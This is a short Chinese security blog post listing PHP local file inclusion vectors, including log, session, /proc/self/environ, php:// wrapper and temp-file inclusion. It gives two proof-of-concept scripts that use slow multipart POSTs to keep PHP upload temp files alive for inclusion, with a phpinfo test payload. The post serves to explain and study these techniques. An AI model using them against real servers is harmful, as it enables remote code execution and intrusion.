看的国外的一个paper ,总结一下(截断统一不考虑):
1. 包含上传好的文件,jpg、txt、rar等允许的文件。
2. 包含各种日志。
3. 使用php wrapper,例如php://input、php://filter、data://等。
4. 包含 /proc/self/environ ,不熟悉linux,这个就靠大家了。
5. 包含SESSION文件,php保存格式 sess_SESSIONID 默认位置是/tmp/和c:/windows/temp/ 。
6. 包含由php程序生成的文件,缓存、模版等。
7. 包含tmp文件,格式举例:/tmp/phpUs7MxA 和 c:/windows/temp/php3e.tmp(win下可暴力猜解) 。
关于最后一种比较麻烦,也够鸡肋。大家不要想当然,认为tmp和move_uploaded_file()有关,其实没有move_uploaded_file()函数时,php会自动、马上清除tmp文件,而让它保留在服务器的方法是 慢连接 。
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
测试包含temp文件所用两脚本,这个方法唯一好处就是向任意php文件发包,php总会先在服务器上生成tmp文件,然后慢连接使它不被删除:
<?
/* 这个所用时间较少 , 会产生20个临时文件 */
set_time_limit(0);
$cmd = 'Content-Disposition: form-data; name="evil"; filename="evil.php"
Content-Type: zzz
<?phpinfo()?>
--k4shifz_boundary
';
$fs=fsockopen('localhost',80);
/* you can also use HTTP/1.1 */
fputs($fs,'POST /test.php HTTP/1.0
Content-Type: multipart/form-data; boundary=k4shifz_boundary
Host: localhost
Content-Length: 999999
--k4shifz_boundary
'.$cmd);
while($fs)
{
fputs($fs,$cmd);
sleep(1);
}
fclose($fs);
exit;
?>
<?
/* 所用时间较长,会产生1个临时文件 */
set_time_limit(0);
$fs=fsockopen('localhost',80);
fputs($fs,'POST /test.php HTTP/1.0
Content-Type: multipart/form-data; boundary=k4shifz_boundary
Host: localhost
Content-Length: 999999
--k4shifz_boundary
Content-Disposition: form-data; name="evil"; filename="evil.php"
Content-Type: zzz
<?phpinfo()?>
--k4shifz_boundary--
');
while($fs)
{
fputs($fs,'AAAA');
sleep(1);
}
fclose($fs);
exit;
?>
另外遗憾的说一句,php5.3.4中,null截断已经被修复,%00将告别舞台。
http://hi.baidu.com/kashifs/blog/item/7a4bbcff72cea90308244d2b.html